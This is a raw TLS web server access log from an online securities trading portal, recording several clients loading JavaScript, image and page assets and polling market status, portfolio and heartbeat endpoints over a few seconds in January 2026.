[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:09:45:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923406889 HTTP/1.1" -
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767923404288 HTTP/1.1" 3188
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 125
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 287
[09/Jan/2026:09:45:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923405098 HTTP/1.1" -
[09/Jan/2026:09:45:37 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:37 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:45:37 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923406292 HTTP/1.1" -
[09/Jan/2026:09:45:37 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:37 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:37 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 219
[09/Jan/2026:09:45:37 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:09:45:37 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:37 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:37 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:45:37 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:37 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:09:45:37 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:37 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/M4613?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923406618 HTTP/1.1" -
[09/Jan/2026:09:45:37 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 2628
[09/Jan/2026:09:45:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:45:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:45:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923423521 HTTP/1.1" -
[09/Jan/2026:09:45:40 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923409048 HTTP/1.1" -
[09/Jan/2026:09:45:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923411933 HTTP/1.1" -
[09/Jan/2026:09:45:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923410146 HTTP/1.1" -
[09/Jan/2026:09:45:42 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/M4613?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923411635 HTTP/1.1" -
[09/Jan/2026:09:45:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:45:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:45:43 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923412301 HTTP/1.1" -
[09/Jan/2026:09:45:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:45:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923428598 HTTP/1.1" -
[09/Jan/2026:09:45:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923417046 HTTP/1.1" -
[09/Jan/2026:09:45:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923415194 HTTP/1.1" -
[09/Jan/2026:09:45:46 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923415051 HTTP/1.1" -
[09/Jan/2026:09:45:47 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/M4613?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923416659 HTTP/1.1" -
[09/Jan/2026:09:45:48 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923417794 HTTP/1.1" -
[09/Jan/2026:09:45:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923433629 HTTP/1.1" -
